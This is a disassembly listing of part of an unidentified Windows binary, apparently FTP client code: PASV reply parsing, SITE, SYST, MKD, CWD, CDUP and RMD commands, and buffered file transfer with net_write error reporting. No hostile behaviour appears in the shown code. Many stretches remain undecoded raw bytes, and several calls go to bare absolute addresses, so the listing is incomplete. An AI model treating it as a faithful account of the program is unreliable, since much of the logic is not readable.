		lea	edx, [esp+144h+var_114]
		lea	ecx, [esp+144h+var_118]
		push	edx
		push	ecx
		lea	edx, [esp+14Ch+var_104]
		lea	ecx, [esp+14Ch+var_108]
		push	edx
		push	ecx
		lea	edx, [esp+154h+var_10C]
		lea	ecx, [esp+154h+var_110]
		push	edx
		push	ecx
		inc	eax
		push	offset aUUUUUU	; "%u,%u,%u,%u,%u,%u"
		push	eax
		call	near ptr 77C41B72h
		nop
		mov	dl, [esp+164h+var_110]
		mov	al, [esp+164h+var_10C]
		mov	cl, [esp+164h+var_108]
		mov	byte ptr [esp+164h+var_130], dl
		mov	dl, [esp+164h+var_104]
		mov	byte ptr [esp+164h+var_130+1], al
		mov	al, [esp+164h+var_118]
		mov	byte ptr [esp+164h+var_130+2], cl
		mov	cl, [esp+164h+var_114]
		add	esp, 20h
		mov	byte ptr [esp+144h+var_130+3], dl
		mov	byte ptr [esp+144h+var_134+2], al
		mov	byte ptr [esp+144h+var_134+3], cl
		push	6
		push	esi
		push	2
		call	sub_438232
; ---------------------------------------------------------------------------
		db 8Bh
		dd 0FFFF83F8h, 0C684D75h, 90004474h, 808419E8h,	4C48377h
		dd 5E5FC70Bh, 0C4815B5Dh, 134h
; ---------------------------------------------------------------------------
		retn
; ---------------------------------------------------------------------------


loc_42E9E9:				; CODE XREF: sub_42E870+A1j
		mov	ecx, [ebx+8]
		lea	edx, [esp+144h+var_124]
		lea	eax, [esp+144h+var_134]
		push	edx
		push	eax
		push	ecx
		call	sub_438220
; ---------------------------------------------------------------------------
		dd 0BD7DC085h, 44752C68h, 0E7E89000h, 83778083h, 0C03304C4h
		dd 5B5D5E5Fh, 134C481h,	8DC30000h, 6A282454h, 46A5204h
		dd 0FFFF68h, 4BE85700h,	83000098h, 0A75FFF8h, 4473FC68h
		dd 147E900h, 448D0000h,	46A2424h, 806850h, 0FF680000h
		dd 570000FFh, 9825E8h, 0FFF88300h, 0FC680A75h, 0E9004473h
		dd 121h, 75247339h, 244C8D20h, 51106A10h, 97C2E857h, 0F8830000h
		dd 0EC850FFFh, 68000000h, 4471FCh, 0FCE9h, 24548D00h, 52106A10h
		dd 6C896657h, 8BE81E24h, 83000097h, 775FFF8h, 44752468h
		dd 5610EB00h, 9766E857h, 0C0850000h, 1C68217Dh,	90004475h
		dd 808335E8h, 4C48377h,	9736E857h, 5E5F0000h, 5BC0335Dh
		dd 134C481h, 8DC30000h,	8D202444h, 5010244Ch, 3DE85751h
		dd 85000097h, 5F0D7DC0h, 0C0335D5Eh, 34C4815Bh,	0C3000001h
		dd 1324548Bh, 1224448Bh, 17244C8Bh, 0FFE281h, 0FF250000h
		dd 52000000h, 1A24548Bh, 0FFE181h, 8B500000h, 511D2444h
		dd 20244C8Bh, 0FFE281h,	0FF250000h, 52000000h, 0FFE181h
		dd 51500000h, 5C24548Dh, 44750068h, 0E8905200h,	77810DEDh
		dd 24448D53h, 50326A68h, 0FFF93FE8h, 2CC483FFh,	1375C085h
		dd 969EE857h, 5E5F0000h, 5BC0335Dh, 134C481h, 68C30000h
		dd 144h, 4CE89056h, 8B777FD5h, 8C483F0h, 2275F53Bh, 4473F468h
		dd 8268E800h, 83907780h, 0E85704C4h, 9668h
; ---------------------------------------------------------------------------


loc_42EB94:				; CODE XREF: sub_42E870+2Bj
					; sub_42E870+D2j ...
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		add	esp, 134h
		retn
sub_42E870	endp

; ---------------------------------------------------------------------------
		dw 0BC83h
		dd 15024h, 41754100h, 200068h, 0D851E800h, 8390777Fh, 0C53B04C4h
		dd 75144689h, 73F4682Ch, 27E80044h, 90778082h, 5704C483h
		dd 9627E8h, 40E85600h, 90777FD6h, 8304C483h, 5E5FFFC8h
		dd 0C4815B5Dh, 134h, 248C8BC3h,	154h, 89087E89h, 538B184Eh
		dd 28568928h, 892C438Bh, 4B8B2C46h, 344E8934h, 89284E8Bh
		dd 6E89386Eh, 3C438B40h, 4689CD3Bh, 390E753Ch, 9752C6Eh
		dd 575C53Bh, 0EB306E89h, 30538B06h, 8B305689h, 14C2484h
		dd 895F0000h, 0B85D5E30h, 1, 34C4815Bh,	0C3000001h, 90909090h
		dd 40h dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_42ED50	proc near		; CODE XREF: sub_42E5B0+1BEp

var_11C		= dword	ptr -11Ch
var_118		= dword	ptr -118h
var_104		= dword	ptr -104h
var_100		= dword	ptr -100h
var_FC		= dword	ptr -0FCh
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		sub	esp, 124h
		push	ebx
		mov	ebx, [esp+128h+arg_0]
		push	ebp
		push	esi
		mov	esi, [esp+130h+arg_4]
		mov	eax, [ebx+8]
		xor	ebp, ebp
		push	edi
		mov	ecx, [esi+8]
		mov	[esp+134h+var_FC], eax
		cmp	ecx, eax
		mov	[esp+134h+var_100], ecx
		mov	[esp+134h+var_104], 2
		mov	[esp+134h+var_118], ebp
		mov	[esp+134h+var_11C], 1Eh
		jge	short loc_42ED92
		mov	ecx, eax


loc_42ED92:				; CODE XREF: sub_42ED50+3Ej
		lea	eax, [esp+134h+var_11C]
		lea	edx, [esp+134h+var_104]
		push	eax
		push	ebp
		push	ebp
		inc	ecx
		push	edx
		push	ecx
		call	sub_438208
sub_42ED50	endp

; ---------------------------------------------------------------------------
		db 83h,	0F8h, 0FFh
		dd 683E75h, 90000001h, 7F0507E8h, 50008B77h, 843CE890h
		dd 0C4837780h, 44C68304h, 0E8905650h, 77818CC4h, 83084B8Bh
		dd 0E8510CC4h, 9424h, 86B895Fh,	0C0335D5Eh, 24C4815Bh
		dd 0C3000001h, 2975C53Bh, 0B9447E8Dh, 8, 44758CBEh, 0A4A5F300h
		dd 5208538Bh, 93F7E8h, 6B895F00h, 335D5E08h, 0C4815BC0h
		dd 124h, 84B8BC3h, 3024448Dh, 33E85150h, 85000094h, 8B7A74C0h
		dd 548D084Bh, 448D1424h, 50522024h, 2444C751h, 1020h, 93C0E800h
		dd 0F88B0000h, 472E890h, 108B777Fh, 5008438Bh, 14245489h
		dd 93A3E8h, 7EFD3B00h, 87B8913h, 0B85D5E5Fh, 1,	24C4815Bh
		dd 0C3000001h, 10244C8Bh, 10068h, 0E8905100h, 7780837Ah
		dd 8304C483h, 565044C6h, 8C02E890h, 0C4837781h,	86B890Ch
		dd 5E5FC033h, 0C4815B5Dh, 124h,	8468BC3h, 3024548Dh, 0A7E85052h
		dd 85000093h, 8B2474C0h, 0E851084Bh, 9340h, 89326A56h
		dd 39E8086Bh, 83FFFFEFh, 0C03308C4h, 5B5D5E5Fh,	124C481h
		dd 8BC30000h, 5F102444h, 815B5D5Eh, 124C4h, 9090C300h
		dd 2 dup(90909090h), 1Ch dup(0CCCCCCCCh)

; =============== S U B	R O U T	I N E =======================================



sub_42EF60	proc near		; CODE XREF: sub_40226Bj

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 1
		jz	short loc_42EF71
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF71:				; CODE XREF: sub_42EF60+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42EF8D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42DF40
		add	esp, 0Ch
		jmp	short loc_42EFB4
; ---------------------------------------------------------------------------


loc_42EF8D:				; CODE XREF: sub_42EF60+17j
		call	sub_42E170
		add	esp, 4
		cmp	eax, 1
		jz	short loc_42EF9F
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EF9F:				; CODE XREF: sub_42EF60+38j
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]
		mov	ecx, [esi+8]
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F0
; ---------------------------------------------------------------------------


loc_42EFB4:				; CODE XREF: sub_42EF60+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42EFC0
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFC0:				; CODE XREF: sub_42EF60+59j
		mov	ecx, [esi+38h]
		add	ecx, edi
		mov	[esi+38h], ecx
		mov	edx, ecx
		mov	ecx, [esi+30h]
		test	ecx, ecx
		jz	short loc_42EFFF
		mov	eax, [esi+3Ch]
		test	eax, eax
		jz	short loc_42EFFF
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, eax
		pop	ebx
		jle	short loc_42EFFF
		mov	eax, [esi+34h]
		push	eax
		push	edx
		push	esi
		call	ecx
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42EFF8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42EFF8:				; CODE XREF: sub_42EF60+93j
		mov	dword ptr [esi+40h], 0


loc_42EFFF:				; CODE XREF: sub_42EF60+6Fj
					; sub_42EF60+76j ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42EF60	endp

; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F040	proc near		; CODE XREF: sub_402216j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_8]
		push	edi
		cmp	dword ptr [esi+18h], 2
		jz	short loc_42F051
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F051:				; CODE XREF: sub_42F040+Aj
		mov	eax, [esi+14h]
		push	esi
		test	eax, eax
		jz	short loc_42F06D
		mov	eax, [esp+0Ch+arg_4]
		mov	ecx, [esp+0Ch+arg_0]
		push	eax
		push	ecx
		call	sub_42F110
		add	esp, 0Ch
		jmp	short loc_42F08A
; ---------------------------------------------------------------------------


loc_42F06D:				; CODE XREF: sub_42F040+17j
		call	sub_42E170
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]
		mov	ecx, [esi+8]
		add	esp, 4
		push	0
		push	edx
		push	eax
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------


loc_42F08A:				; CODE XREF: sub_42F040+2Bj
		mov	edi, eax
		cmp	edi, 0FFFFFFFFh
		jnz	short loc_42F096
		pop	edi
		xor	eax, eax
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F096:				; CODE XREF: sub_42F040+4Fj
		mov	edx, [esi+38h]
		mov	eax, [esi+30h]
		add	edx, edi
		test	eax, eax
		mov	[esi+38h], edx
		jz	short loc_42F0CC
		mov	ecx, [esi+3Ch]
		test	ecx, ecx
		jz	short loc_42F0CC
		push	ebx
		mov	ebx, [esi+40h]
		add	ebx, edi
		mov	[esi+40h], ebx
		cmp	ebx, ecx
		pop	ebx
		jle	short loc_42F0CC
		mov	ecx, [esi+34h]
		push	ecx
		push	edx
		push	esi
		call	eax
		add	esp, 0Ch
		mov	dword ptr [esi+40h], 0


loc_42F0CC:				; CODE XREF: sub_42F040+63j
					; sub_42F040+6Aj ...
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_42F040	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 30h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F110	proc near		; CODE XREF: sub_42F040+23p
					; sub_42F2C0+28p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	ebx
		push	ebp
		mov	ebp, [esp+8+arg_8]
		push	esi
		xor	esi, esi
		xor	al, al
		mov	ecx, [ebp+18h]
		push	edi
		cmp	ecx, 2
		jz	short loc_42F12C
		pop	edi
		pop	esi
		pop	ebp
		or	eax, 0FFFFFFFFh
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F12C:				; CODE XREF: sub_42F110+12j
		mov	ecx, [esp+10h+arg_4]
		mov	edi, [ebp+14h]
		xor	ebx, ebx
		test	ecx, ecx
		jle	loc_42F254


loc_42F13D:				; CODE XREF: sub_42F110+AFj
		mov	ecx, [esp+10h+arg_0]
		cmp	byte ptr [ebx+ecx], 0Ah
		jnz	short loc_42F17E
		cmp	al, 0Dh
		jz	short loc_42F17E
		cmp	esi, 2000h
		jnz	short loc_42F179
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	edx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	edx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F1E1
		xor	esi, esi


loc_42F179:				; CODE XREF: sub_42F110+41j
		mov	byte ptr [edi+esi], 0Dh
		inc	esi


loc_42F17E:				; CODE XREF: sub_42F110+35j
					; sub_42F110+39j
		cmp	esi, 2000h
		jnz	short loc_42F1AC
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jz	short loc_42F1DA
		mov	eax, [ebp+8]
		push	0
		push	esi
		push	edi
		push	eax
		call	sub_4381F6
; ---------------------------------------------------------------------------
		mov	esi, eax
		cmp	esi, 2000h
		jnz	short loc_42F201
		xor	esi, esi


loc_42F1AC:				; CODE XREF: sub_42F110+74j
		mov	ecx, [esp+10h+arg_0]
		inc	esi
		mov	al, [ebx+ecx]
		mov	ecx, [esp+10h+arg_4]
		mov	[edi+esi-1], al
		inc	ebx
		cmp	ebx, ecx
		jl	loc_42F13D
		test	esi, esi
		jz	loc_42F254
		push	ebp
		call	sub_42E170
		add	esp, 4
		test	eax, eax
		jnz	short loc_42F221


loc_42F1DA:				; CODE XREF: sub_42F110+4Ej
					; sub_42F110+81j
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F1E1:				; CODE XREF: sub_42F110+65j
		call	near ptr 77C1F2BCh
		nop
		mov	edx, [eax]
		push	edx
		push	esi
		push	offset aNet_write1Retu ; "net_write(1) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F201:				; CODE XREF: sub_42F110+98j
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		push	esi
		push	offset aNet_write2Retu ; "net_write(2) returned	%d, errno = %d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		or	eax, 0FFFFFFFFh
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_42F221:				; CODE XREF: sub_42F110+C8j
		mov	ecx, [ebp+8]
		push	0
		push	esi
		push	edi
		push	ecx
		call	sub_4381F6
; ---------------------------------------------------------------------------
		dw 0F88Bh
		dd 2074FE3Bh, 82E890h, 108B777Fh, 0B4685752h, 90004475h
		dd 812621E8h, 0CC48377h, 5FFFC883h, 0C35B5D5Eh
; ---------------------------------------------------------------------------


loc_42F254:				; CODE XREF: sub_42F110+27j
					; sub_42F110+B7j
		mov	eax, [esp+10h+arg_4]
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_42F110	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F2C0	proc near		; CODE XREF: sub_401BEFj

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		mov	eax, [esi+18h]
		sub	eax, 0
		jz	short loc_42F33B
		dec	eax
		jz	short loc_42F2F0
		dec	eax
		jz	short loc_42F2DC


loc_42F2D4:				; CODE XREF: sub_42F2C0+64j
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F2DC:				; CODE XREF: sub_42F2C0+12j
		mov	eax, [esi+14h]
		test	eax, eax
		jz	short loc_42F2F0
		push	esi
		push	0
		push	0
		call	sub_42F110
		add	esp, 0Ch


loc_42F2F0:				; CODE XREF: sub_42F2C0+Fj
					; sub_42F2C0+21j
		mov	eax, [esi+14h]
		push	ebx
		mov	ebx, dword_511AD0
		test	eax, eax
		jz	short loc_42F304
		push	eax
		call	ebx
		add	esp, 4


loc_42F304:				; CODE XREF: sub_42F2C0+3Cj
		mov	eax, [esi+8]
		push	2
		push	eax
		call	sub_438292
; ---------------------------------------------------------------------------
		mov	ecx, [esi+8]
		push	ecx
		call	sub_4381FC
; ---------------------------------------------------------------------------
		mov	edi, [esi+1Ch]
		push	esi
		call	ebx
		add	esp, 4
		test	edi, edi
		pop	ebx
		jz	short loc_42F2D4
		push	edi
		push	32h
		mov	dword ptr [edi+20h], 0
		call	sub_42DE00
		add	esp, 8
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F33B:				; CODE XREF: sub_42F2C0+Cj
		mov	eax, [esi+20h]
		test	eax, eax
		jz	short loc_42F352
		push	esi
		mov	dword ptr [esi+1Ch], 0
		call	sub_401BEF
		add	esp, 4


loc_42F352:				; CODE XREF: sub_42F2C0+80j
		mov	edx, [esi+8]
		push	edx
		call	sub_4381FC
sub_42F2C0	endp

; ---------------------------------------------------------------------------
		db 56h
		dd 7FCEBAE8h, 0C4839077h, 5FC03304h, 9090C35Eh,	90909090h
		dd 0Ch dup(0CCCCCCCCh)
; ---------------------------------------------------------------------------


loc_42F3A0:				; CODE XREF: ___:00401CF8j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 6
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F3C9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F3C9:				; CODE XREF: ___:0042F3C0j
		push	edx
		lea	eax, [esp+4]
		push	offset aSiteS	; "SITE	%s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F420:				; CODE XREF: ___:004016CCj
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset aSyst	; "SYST"
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F441
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F441:				; CODE XREF: ___:0042F43Cj
		mov	eax, [esp+10h]
		lea	ecx, [edi+48h]
		lea	edx, [eax-1]
		test	edx, edx
		jz	short loc_42F45C


loc_42F44F:				; CODE XREF: ___:0042F45Aj
		mov	al, [ecx]
		cmp	al, 20h
		jz	short loc_42F45C
		mov	[esi], al
		inc	esi
		inc	ecx
		dec	edx
		jnz	short loc_42F44F


loc_42F45C:				; CODE XREF: ___:0042F44Dj
					; ___:0042F453j
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F490:				; CODE XREF: ___:00402270j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F4B9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F4B9:				; CODE XREF: ___:0042F4B0j
		push	edx
		lea	eax, [esp+4]
		push	offset aMkdS	; "MKD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F510:				; CODE XREF: ___:0040227Fj
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F539
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F539:				; CODE XREF: ___:0042F530j
		push	edx
		lea	eax, [esp+4]
		push	offset aCwdS	; "CWD %s"
		push	eax
		call	near ptr 77C3F931h
		nop
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F590:				; CODE XREF: ___:0040178Aj
		mov	eax, [esp+4]
		push	eax
		push	32h
		push	offset aCdup	; "CDUP"
		call	sub_42E490
		add	esp, 0Ch
		neg	eax
		sbb	eax, eax
		neg	eax
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F5C0:				; CODE XREF: ___:00402220j
		mov	edx, [esp+4]
		sub	esp, 100h
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		push	edi
		mov	edi, edx
		repne scasb
		not	ecx
		add	ecx, 5
		pop	edi
		cmp	ecx, 100h
		jbe	short loc_42F5E9
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------


loc_42F5E9:				; CODE XREF: ___:0042F5E0j
		push	edx
		lea	eax, [esp+4]
		push	offset aRmdS	; "RMD %s"
		push	eax
		nop
		call	near ptr 77C3F931h
		mov	ecx, [esp+114h]
		lea	edx, [esp+0Ch]
		push	ecx
		push	32h
		push	edx
		call	sub_42E490
		add	esp, 18h
		neg	eax
		sbb	eax, eax
		neg	eax
		add	esp, 100h
		retn
; ---------------------------------------------------------------------------
		db 2 dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F640:				; CODE XREF: ___:00401677j
		push	esi
		mov	esi, [esp+8]
		push	edi
		mov	edi, [esp+14h]
		push	edi
		push	32h
		push	offset off_447678
		call	sub_42E490
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_42F661
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F661:				; CODE XREF: ___:0042F65Cj
		add	edi, 44h
		push	22h
		push	edi
		nop
		call	near ptr 77C47660h
		add	esp, 8
		test	eax, eax
		jnz	short loc_42F677
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_42F677:				; CODE XREF: ___:0042F672j
		mov	ecx, [esp+10h]
		inc	eax
		lea	edx, [ecx-1]
		test	edx, edx
		jz	short loc_42F695


loc_42F683:				; CODE XREF: ___:0042F693j
		mov	cl, [eax]
		test	cl, cl
		jz	short loc_42F695
		cmp	cl, 22h
		jz	short loc_42F695
		mov	[esi], cl
		inc	esi
		inc	eax
		dec	edx
		jnz	short loc_42F683


loc_42F695:				; CODE XREF: ___:0042F681j
					; ___:0042F687j ...
		mov	byte ptr [esi],	0
		pop	edi
		mov	eax, 1
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F6C0:				; CODE XREF: ___:00401127j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	1
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_42F6F0	proc near		; CODE XREF: ___:0042F6D3p
					; ___:0042F953p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h

		push	ecx
		mov	eax, [esp+4+arg_0]
		push	ebx
		push	ebp
		xor	ebp, ebp
		push	esi
		push	edi
		mov	edi, [esp+14h+arg_10]
		cmp	eax, ebp
		mov	[esp+14h+var_4], 1
		jz	short loc_42F77A
		mov	esi, [esp+14h+arg_C]
		mov	cx, word_4476B8
		cmp	esi, 4
		mov	word ptr [esp+14h+arg_10], cx
		mov	word ptr [esp+14h+arg_10+2], bp
		jnz	short loc_42F72A
		mov	byte ptr [esp+14h+arg_10], 72h


loc_42F72A:				; CODE XREF: sub_42F6F0+33j
		cmp	edi, 49h
		jnz	short loc_42F734
		mov	byte ptr [esp+14h+arg_10+1], 62h


loc_42F734:				; CODE XREF: sub_42F6F0+3Dj
		lea	edx, [esp+14h+arg_10]
		push	edx
		push	eax
		call	near ptr 77C3F010h
		nop
		mov	ebx, eax
		add	esp, 8
		cmp	ebx, ebp
		jnz	short loc_42F794
		push	100h
		nop
		call	near ptr 77C1F2BCh
		mov	eax, [eax]
		push	eax
		call	near ptr 77C371FAh
		nop
		mov	ecx, [esp+1Ch+arg_8]
		add	esp, 4
		add	ecx, 44h
		push	eax
		push	ecx
		call	near ptr 77C47A90h
		nop
		add	esp, 0Ch
		xor	eax, eax
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F77A:				; CODE XREF: sub_42F6F0+19j
		mov	esi, [esp+14h+arg_C]
		cmp	esi, 4
		jnz	short loc_42F78B
		mov	ebx, dword_511A90
		jmp	short loc_42F794
; ---------------------------------------------------------------------------


loc_42F78B:				; CODE XREF: sub_42F6F0+91j
		mov	edx, dword_511A90
		lea	ebx, [edx+20h]


loc_42F794:				; CODE XREF: sub_42F6F0+57j
					; sub_42F6F0+99j
		mov	ecx, [esp+14h+arg_8]
		mov	edx, [esp+14h+arg_4]
		lea	eax, [esp+14h+arg_C]
		push	eax
		push	ecx
		push	edi
		push	esi
		push	edx
		call	sub_401F73
		add	esp, 14h
		test	eax, eax
		jnz	short loc_42F7B7
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_42F7B7:				; CODE XREF: sub_42F6F0+BFj
		push	2000h
		nop
		call	near ptr 77C2C407h
		add	esp, 4
		cmp	esi, 4
		mov	edi, eax
		jnz	short loc_42F82D
		mov	ebp, dword_511AB0
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jle	loc_42F883


loc_42F7EA:				; CODE XREF: sub_42F6F0+11Fj
		mov	eax, [esp+14h+arg_C]
		push	eax
		push	esi
		push	edi
		call	sub_402216
		add	esp, 0Ch
		cmp	eax, esi
		jl	short loc_42F813
		push	ebx
		push	2000h
		push	1
		push	edi
		call	ebp
		mov	esi, eax
		add	esp, 10h
		test	esi, esi
		jg	short loc_42F7EA
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F813:				; CODE XREF: sub_42F6F0+10Bj
		push	eax
		push	esi
		push	offset aShortWritePass ; "short	write: passed %d, wrote	%d\n"
		nop
		call	near ptr 77C4186Ah
		add	esp, 0Ch
		mov	[esp+14h+var_4], 0
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F82D:				; CODE XREF: sub_42F6F0+DAj
		mov	ecx, [esp+14h+arg_C]
		push	ecx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jle	short loc_42F883
		mov	esi, dword_511AA0


loc_42F84A:				; CODE XREF: sub_42F6F0+17Dj
		push	ebx
		push	eax
		push	1
		push	edi
		call	esi
		add	esp, 10h
		test	eax, eax
		jbe	short loc_42F871
		mov	edx, [esp+14h+arg_C]
		push	edx
		push	2000h
		push	edi
		call	sub_40226B
		add	esp, 0Ch
		cmp	eax, ebp
		jg	short loc_42F84A
		jmp	short loc_42F883
; ---------------------------------------------------------------------------


loc_42F871:				; CODE XREF: sub_42F6F0+166j
		push	offset aLocalfileWrite ; "localfile write"
		nop
		call	near ptr 77C36DF2h
		add	esp, 4
		mov	[esp+14h+var_4], ebp


loc_42F883:				; CODE XREF: sub_42F6F0+F4j
					; sub_42F6F0+121j ...
		push	edi
		nop
		call	near ptr 77C2C21Bh
		push	ebx
		nop
		call	near ptr 77C3EEF6h
		mov	eax, [esp+1Ch+arg_0]
		add	esp, 8
		test	eax, eax
		jz	short loc_42F8A6
		push	ebx
		nop
		call	near ptr 77C40AB1h
		add	esp, 4


loc_42F8A6:				; CODE XREF: sub_42F6F0+1AAj
		mov	eax, [esp+14h+arg_C]
		push	eax
		call	sub_401BEF
		mov	eax, [esp+18h+var_4]
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
sub_42F6F0	endp

; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 80h dup(0CCh)
; ---------------------------------------------------------------------------


loc_42F940:				; CODE XREF: ___:004016A9j
		mov	eax, [esp+0Ch]
		mov	ecx, [esp+8]
		mov	edx, [esp+4]
		push	41h
		push	2
		push	eax
		push	ecx
		push	edx
		call	sub_42F6F0
		add	esp, 14h
